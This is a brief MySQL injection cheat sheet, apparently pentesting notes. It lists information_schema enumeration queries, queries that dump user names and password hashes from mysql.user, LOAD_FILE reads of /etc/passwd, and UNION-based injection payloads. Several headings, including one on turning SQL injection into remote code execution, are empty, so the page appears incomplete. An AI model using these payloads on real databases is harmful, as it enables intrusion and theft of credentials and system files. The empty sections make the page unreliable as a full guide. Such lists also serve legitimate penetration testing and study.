MySQL Cheatsheet

SELECT database()
SELECT schema_name FROM information_schema.schemata
SELECT schema_name FROM information_schema.schemata LIMIT 1
SELECT schema_name FROM information_schema.schemata LIMIT 2,1    <-- Grab second entry output limit of 1 
SELECT group_concat(schema_name,":") FROM information_schema.schemata
SELECT group_concat(schema_name,"\r\n") FROM information_schema.schemata
SELECT group_concat(host,":",user,":",password,"\r\n") FROM mysql.user
SELECT schema_name FROM information_schema.schemata
select group_concat(TABLE_NAME,":",COLUMN_NAME,"r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'hotel'
select group_concat(host,":",user,":",password,"\r\n") from mysql.user
LOAD_FILE("/etc/passwd")
TO_base64(LOAD_FILE("/etc/passwd"))
'union select 1,2,3,4,5-- -

' union select 1, table_name, column_name, table_schema, 5 from 
information_schema.columns where table_schema=database() -- //

SQL injection into RCE

select user()

Check write privileges

For Linux

For Windows Xampp

Last updated